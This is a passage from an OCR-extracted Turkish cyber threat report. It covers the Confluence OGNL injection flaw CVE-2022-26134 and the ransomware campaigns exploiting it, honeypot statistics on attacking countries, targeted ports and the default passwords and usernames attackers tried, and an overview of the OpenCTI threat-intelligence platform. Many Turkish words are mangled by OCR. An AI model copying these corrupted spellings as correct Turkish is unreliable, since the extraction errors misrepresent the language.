de gerceklestirilir. Bir RCE guvenlik agiginin etkisi, koétu
amagh yazilim yuritmekten saldirganin guvenligi ihlal
edilmis bir makine Uzerinde tam kontrol elde etmesine
kadar uzanabilir . RCE saldirisinin;

Bilgi ifsasil,

Hizmet reddi (Denial of Service — DoS),

Cryptojacking (Kripto hirsizligy),

Ransomware (Fidye yazihmi) gibi etkileri vardir.

6.2. Zero-Day Vulnerability (Sifirinci Giin Acigi) Nedir?

Bu kusurdan veya yazilim/donanim guvenlik agigindan
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yararlanildiginda bir sifirnci giin saldinsi gerceklesir ve
saldirganlar, gelistirici givenlik agigini dizeltmek icin bir
yama olusturma firsati bulamadan kéti amagh yaziimi
serbest birakir £,

6.3. Confluence OGNL injection

Gulvenlik a¢igi, bir Nesne-Grafik Gezinme Dili (OGNL)
enjeksiyonu olarak tanimlanir; OGNL, Java nesneleri-
nin 6zelliklerini almak ve ayarlamak icin acik kaynakli bir
ifade dilidir. Java’da yapilabilecekleri elde etmenin daha
basit bir yolunu sunar ve birgok Urlinde desteklenir.

OGNL enjeksiyonu baska popller projeleri etkileyen bir
giivenlik acigidir. Ornegin, blyiik 2017 Equifax veri ih-
laline, Apache Struts web uygulamasi cercevesindeki
yama uygulanmamis bir OGNL enjeksiyon glivenlik acigi
(CVE-2017-5638) neden oldul®. Saldirganlar, bu tir ku-
surlardan yararlanarak uygulamalari rasgele kod ve ko-
mutlar ytritmeleri igin kandirabilir; yeni ¢gikan Confluen-
ce glvenlik agigi da boyledir.

6.4. Confluence Saldirilan

Gvenlik acigyla ilgili ilk raport, 2 Haziran’da glivenlik
sirketi Volexity’den geldi. Volexity arastirmacilari Conf-
luence Server sistemlerinin incelediklerinde, bir JSP
dosyasinin herkes tarafindan erisilebilir bir web dizinine
yazildigini fark ettiler ve bu dosyanin, China Chopper
webshell’in JSP sltrimu oldugunu belirttiler.

isvigreli siber tehdit istinbarat firmasi Prodaft’taki arag-
tirmacilann kesfettigi Uzere, AvosLocker fidye yazilimi
Confluence sunucularini hedef ald.

Cerber2021 fidye yazihiminin aktif olarak CVE-2022-
26134’e karsi yama uygulanmamis Confluence O6r-
neklerini hedefledigi saldinlarin kurbanlari tarafindan
duyurulmustur. CVE-2022-26134 POC agiklarnnin ya-
yinlanmasinin, basarili Cerber ransomware saldirilarinin
sayisindaki artisla ayni zamana denk geldigini asagidaki
grafikten gézlemlenebilir B,

Cerberlmposter Submissions: 2022-05-10 to 2022-06-10

Total: 75

Sekil 17: Cerber ransomware aktivitesi.

Submissions
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6.5. Confluence Acigi icin Miidahale

Atlassian yapilan bildirimlere ve ¢ikan raporlara hizh tep-
ki verdi ve bir WAF kurali ve gegici ¢cdzUmler iceren bir
tavsiye yayinladi. Kullanicilarina, surimlerini, yeni ya-
yinlanan 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4
ve 7.18.1 sUrimlerine ylkseltmeye tavsiye etti. Strim
yukseltmesi yapmayan kullanicilarina da kullandiklari
strime bagli olarak etkilenen dosyalardan birkacgini yik-
seltmelerini tavsiye etti.

7. Honeypot Verileri

Bu raporu son (¢ ay icinde Honeypot sensérlerimizden
topladigimiz verilerle hazirladik. En ¢ok saldir alinan Gl-
keler, portlar, en ¢cok denenen parolalar ve kullanici isim-
leri gibi verileri azalan sirada listeleyerek incelenmesi icin
sunuyoruz.

Nisan, Mayis ve Haziran aylarn boyunca Honey-
pot sensérlerimize yodnelik toplam 8,065,301 saldin
gerceklestiriimigtir.

Attacks by Country

@ India
United States
Turkey
Russia
Vietnam
China

Mexico

|

Japan
Taiwan

Brazil

Sekil 18: Gelen saldirilarin llkelere gére dagilimi.

Saldiran Ulke Saldin Sayisi

Hindistan 1,629,728
ABD 897,200
Turkiye 830,084
Rusya 619,847
Vietnam 425,111
Cin 409,933
Meksika 401,274
Japonya 263,655
Tayvan 242,863
Brezilya 181,652

Tablo 1: En ¢ok saldir alinan Ulkeler ve saldir sayilari.
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Toplanan veriler incelendiginde, en ¢ok saldin alinan
Ulkenin Hindistan oldugu, ABD, Turkiye, Rusya ve Viet-
nam’in onu takip ettigi goérilmektedir. Onceki lc aya
gore gelen saldir miktarlarinda buyuk artis gézlemlen-
mistir. Buna surekli tehdit aktorlerinin (APT) Rusya-Uk-
rayna savaslyla birlikte arttirdiklar aktivitelerin neden
oldugu distinilmektedir.

Saldinlan Port Saldin Sayisi
445 - SMB 4,293,261
3389 - RDP 385,153
25 - SMTP 305,708

22 - SSH 294,586

23 - TELNET 19,633
22028 — ATANMAMIS 14,532
8080 — HTTP_ALT 14,050

1433 - MSSQL 13,578
5555 - VPN 11,739

443 - HTTPS 11,683

Tablo 2: En ¢ok saldir alinan portlar, bu portlari kullanan servisler
ve saldin sayilari.

Yukaridaki tablo incelendiginde, en ¢ok saldirinin SMB
servisinin kullandigi port 445’e geldigi goériliyor. SMB
servisi, sunucularn paylagilan dosyalar ve yazicilar igin
kullandigi servis oldugundan, bu servisin diger servisle-
re kiyasla cok daha fazla saldir almasi beklenen bir du-
rum olarak degerlendiriimektedir. SMB’yi sirasiyla RDP,
SMTP ve SSH servisleri takip etmektedir. MSSQL uygu-
lamasina yapilan saldirilarda énceki aylara gére blyuk
artis gézlemlenmistir. Kurumsal sistemlerde SQL veri-
tabani oldukga sik kullanilan bir uygulama oldugundan
kullanicilarin 6nlem almalari tavsiye edilir.

Denenen Parola Denenme Sayisi

Admin 13,182
123456 10,433
Nproc 8,092
123 3,394
Password 2,570
User 2,151
1234 1,800
12345 1,421

1 1,392
Root 1,067

Tablo 3: SSH ve RDP honeypotlarimiz Gizerinde en ¢ok denenen
parolalar ve denenme sayilari.

Denenen parolalar incelendiginde, birgok yénetim ara-
ylzlinin standart olarak kullandigi parolalar olan ad-
min, root gibi kelimeler goérilliyor. Saldirganlar ayrica
servislere 6zel varsayilan parolalar (Orn. nproc) sik sik
denemektedir. Bu parolalarin test slreci tamamlanir
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tamamlanmaz karmagik, 12-16 karakterli, 6zel karakter
iceren parolalar ile degistiriimesi analistlerimiz tarafindan
tavsiye edilir.

Denenen Kullanici Adi Denenme Sayisi

Root 117,968
Admin 10,399

Nproc 8,092
User 5,125
Support 4,291
Test 3,147
Ubuntu 1,768
Postgres 1,356
Oracle 1,311
Git 897

Tablo 4: SSH ve RDP honeypotlarimiz (izerinde en ¢ok denenen
kullanici adlar ve denenme sayilari.

Denenen kullanici adlar incelendiginde, yeni kurulmus
olan sistemlerin siklikla kullandigi root, admin, user gibi
kullanici adlarinin saldirganlar tarafindan tercih edildi-
gi gorilmektedir. Kurulumu tamamlanan servislerin ve
y6netim panellerinin kullanici adlarinin en kisa zaman-
da degistiriimesi ve kurulan sistemlerin kendi isimlerinin
kullaniimamasi (6rn. ubuntu, postgres, oracle, ftp) tavsi-
ye edilir.

203.71K

119.92K

Sekil 11: OpenCTI kontrol paneli.
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8. Siber Tehdit istihbaratinin Onemi ve
OpenCTI

Siber tehdit istihbarati, olasi siber givenlik tehditleriyle
ilgili toplanmig verilerin birlestiririlip iliskilendirme, an-
lamlandirma ve analiz yapilmasiyla tehditlerin proaktif
bir sekilde belirlenmesine ve bunlara kargi savunma me-
kanizmalari gelistirimesine olanak saglar. internet kulla-
niminin artmasi tehdit aktdrlerinin ve biraktiklan izlerin
cogalmasini getirmekte, bu durum da tehdit istihbarati
verilerinin analizini zorlastirmaktadir. Bu ylzden otoma-
tik programlara olan ihtiyac artmaktadir.

8.1. OpenCTI

OpenCTl, gdzlemlenmek Uzere toplanmis verilerin (Ob-
servables) ve sistemlerdeki potansiyel ihlalleri gésteren
gOstergelerin (Indicator of Compromise) incelenmesi-
ne yardimcl olan acik kaynak bir siber tehdit istihbarat
platformudur. icerdigi bilgi ydnetim veritabani sayesinde
verileri gorsellestirerek analistlerin gézlem yapmasini ko-
laylastirir. Ekosisteminde veri girdisi, veri zenginlestirme-
si, veri akigl kaynag, dosya girdi ve ¢iktisi yapmaya ya-
rayan onlarca Bagdastirici (Connector) servisine sahiptir.

SIBER TEHDIT DURUM RAPORU
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AlienVault Cve Mandiant Sekoia Threatmatch
Amitt Cyber-campaign-collection Misp Sentinelone-threats | Urlhaus-recent-payloads
Cape Cybercrime-tracker Mitre Siemrules Urlhaus
Cisa-known- Malwarebazaar- recent-additions | Obstracts Socprime Virustotal-livehunt-notifications
exploited-vulnerabilities
Crowdstrike Lastinfosec Opencti Stixify Valhalla
Cryptolaemus Malpedia Restore-files Taxii2 Vulmatch
Cuckoo Kaspersky Riskiq Thehive Vxvault
Tablo 5: Dis kaynak girdi bagdastiricilari.
Backup Files Elastic Splunk Tanium Threat Bus
Tablo 6: Streaming bagdastiricilari.
Abuseipdb Hybrid-Analysis-Sandbox Ipinfo Shodan
Cape-Sandbox Hygiene Ivre Unpac-Me

Hatching-Triage-Sandbox Import-External-Reference

Greynoise Intezer-Sandbox

Tablo 7: Dahili zenginlestirme bagdastiricilari.

8.2. Dis Kaynak Girdileri (External Import Connectors)

Dis kaynaklardan otomatik olarak alinan verileri platfor-
ma ekleyen sistemlerdir. Alienvault, Crowdstrike, Kas-
persky, RisklQ gibi Ucretli servislerin disinda agik kay-
naklardan da veri girdisi saglanabilir. Asagida glncel
olarak mevcut External Import Connector’lari mevcuttur.

8.3. Veri Akisi (Streaming)

Streaming bagdastiricilan sadlayan yapilara baglanarak
OpenCTI binyesine gercek zamanli veri ¢ekebilir. Tani-
um gibi EDR sistemleriyle kullanildiginda bu connector-
lar, kaynak sisteme yanit vererek iletisimi ¢ift tarafli ola-
rak saglayabilir.

8.4. Dahili Zenginlestirme Bagdastiricisi (Internal
Enrichment Connector)

OpenCTI Uzerindeki veriler, API entegrasyonlari saye-
sinde dis kaynaklar tarafindan zenginlestirilebilir. Buna
ornek olarak bir IP adresi i¢cin whois taramasi yapiimasi
verilebilir.

8.5. Dahili Dosya Yiikleme Bagdastiricisi (Internal
Import File Connector)

Sisteme yuklenen dosyalar, OpenCT]I tarafindan iglene-
rek sisteme rapor veya Stix2 formath Json dosyasi ola-
rak eklenebilir.

Import-document Import-file-stix
Tablo 8: Dahili dosya ylkleme bagdastiricilar.
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Lastinfosec Virustotal-Downloader

Malbeacon Virustotal

8.6. Dahili Dosya Disa Aktarma Bagdastiricisi (Inter-
nal Export File Connector)

OpenCTl iginde saklanan veriler, CSV (Comma Sepe-
rated Values) veya Stix2 formath Json dosyasi olarak
cikarilabilir.

export-file-csv export-file-txt

export-file-stix export-report-pdf

Tablo 9: Dahili dosya disa aktarma bagdastiricilar.

8.7. OpenCTI Altyapisi

Anasayfadaki navigasyon paneli tzerinden de gdrtlebi-
lecegdi Uzere Uriinin sundug@u servisler sunlardir:

Dashboard: En ¢ok kullaniimis etiketler, aktif olarak
gorulen varliklar, hedef alinmis Ulkeler, en son ekle-
nen rapor ve analizler ve benzeri bilgilerin gérsellesti-
rilmis dzetleri

Analysis: GCesitli kaynaklardan sisteme ylklenmis
olan zararll yazihm, gelismis tehdit aktdrleri vb. ice-
rikler hakkinda detayli bilgiler iceren raporlar ve bilgi
notlari

Events: Siber saldirilara ait olay bilgileri, gézlemler ve
toplanmig veriler

Observations: Gozlem verilerinin tamaminin listelen-
mis hali (Sisteme yuklenen verilerin, kaynaklar tara-
findan etiketlenmesi sonucu farkli tiirde observable
aramas! yapilabilmektedir. Ornegin; saldin sonrasi
geride birakilmig izler (artifact), kriptografik anahtar-
lar, alan adlari, eposta adresleri, dosya hash bilgileri,
IPv4 — Ipv6 adresleri, MAC adresleri vb.)
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Threats: Tehdit aktorleri (APT), izinsiz giris setleri (int-
rusion sets. Orn: Taktik-teknik-prosediir bilgileri, za-
rarli yaziimlar, zararlilara ait altyapi bilgileri) ve saldir
kampanyalarina ait bilgiler

Arsenal: Zararl yazilimlar, saldin teknikleri (TTP), Mit-
re Attack Framework kapsaminda hazirlanmis CoA
(Course of Actions), tehdit aktérleri tarafindan kulla-
nilan araglar ve CVE zafiyet bilgileri

Entities: Sektorel bilgiler, Ulkeler ve illere ait cografi
bilgiler, organizasyonlar ve altyapilar gibi bilgiler
Data: Sisteme yuklenmis verilerinin tamaminin eti-
ketli bir bicimde listelenmis hali, arka planda galisan
gorevler, connectorlarin ydnetim paneli, veri akisi ve
TAXII sunucularinin yapilandirma panelleri

Uriinii giiglendiren bir dzellik de veriler arasi iligkilerdir.
Varliklar, gézlemler ve gdstergeler arasinda iligkilendir-
meler saglayan OpenCTl, bu iligkileri okunabilir hale ge-
tirmek amaciyla zaman cizelgesi, ¢ boyutlu agac yapisi
gibi metotlari kullanmaktadir. Ornegin, zararl bir domain
Uzerinden o domainin hangi APT grubu tarafindan ne za-
man kullanildigi bilgisine ulasilabilir. Béylelikle OpenCTl,
internet Uizerinde daginik halde bulunan ve tek baslarina
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yeterli bir istinbarat bilgisi saglamayan verileri birlestirip
tek bir platform Uzerinden kullaniciya saglar. Bu saye-
de siber tehdit istinbarati analistlerinin daha kisa strede
daha etkili bilgi edinmesi mimkuin olur.

Platformun bir diger yetkinligi ise kullanici ydnetimidir.
Ydnetici hesabinin yani sira siradan kullanicilar sisteme
kaydedilebilir. Kullanicilar platform Gzerine elle veri ekle-
mekle birlikte otomatik olarak eklenmis veriler Gzerinde
duzenleme yapma, not ekleme gibi yetkinliklere sahiptir.
Bu yuzden OpenCTI sadece verilerin toplandigi bir ha-
vuz degil verilerin islenebildigi de bir platformdur.

8.8. Sonu¢

Siber tehditlerin her gecen giin daha da arttigi ve siber
tehdit istihbarati analistlerinin iglerinin zorlastigi kosullar-
da OpenCTI gibi acik kaynak Urlnler analistlerin siber
tehditlere karsi daha hizli harekete gegmelerini, kurum
ve kuruluglan siber saldirilara kargl daha iyi savunmala-
rini saglamaktadir. Elde edilen istihbarat bilgileri saye-
sinde siber saldirilarin daha gerceklesmeden engellene-
bilmesi icin OpenCTI ve benzeri platformlarin kurulmasi
siddetle tavsiye edilmektedir.
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